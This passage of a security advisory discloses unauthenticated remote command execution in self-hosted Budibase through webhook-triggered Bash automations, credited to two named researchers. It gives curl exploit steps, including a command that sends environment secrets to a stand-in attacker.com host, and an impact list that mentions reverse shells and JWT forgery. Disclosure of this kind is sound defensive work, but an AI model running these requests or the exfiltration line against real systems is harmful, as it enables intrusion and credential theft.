Details
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PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)
The attacker only needs the production app_id and webhook_id.
These can be obtained via:
- Enumeration of the Budibase web UI (app URLs are semi-public)
- Leaked configuration files or environment variables
- Insider knowledge or social engineering
Step 7 — Basic RCE — whoami/id:
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
TARGET="http://TARGET:10000"
# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
-H "Content-Type: application/json" \
-d '{"cmd":"id"}'
# HTTP Response (immediate):
# {"message":"Webhook trigger fired successfully"}
# Command executes asynchronously inside container as root.
# Output confirmed via container inspection or exfiltration.
Step 8 — Exfiltrate all secrets:
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
-H "Content-Type: application/json" \
-d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'
Confirmed secrets leaked (no auth):
JWT_SECRET=testsecret
API_ENCRYPTION_KEY=testsecret
COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984
REDIS_PASSWORD=budibase
REDIS_URL=redis-service:6379
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
INTERNAL_API_KEY=budibase
LITELLM_MASTER_KEY=budibase
Impact
- Who is affected: All self-hosted Budibase deployments (
SELF_HOSTED=1) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow.
- What can an attacker do:
- Execute arbitrary OS commands as
rootinside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys
- Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet
- Establish reverse shells and persistent access
- Read/write/delete all application data via CouchDB access
- Forge JWT tokens using the leaked
JWT_SECRETto impersonate any user - Potentially escape the container if
--privilegedor volume mounts are used
- Authentication required: None — completely unauthenticated
- User interaction required: None
- Network access required: Only access to port 10000 (the Budibase proxy port)
Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed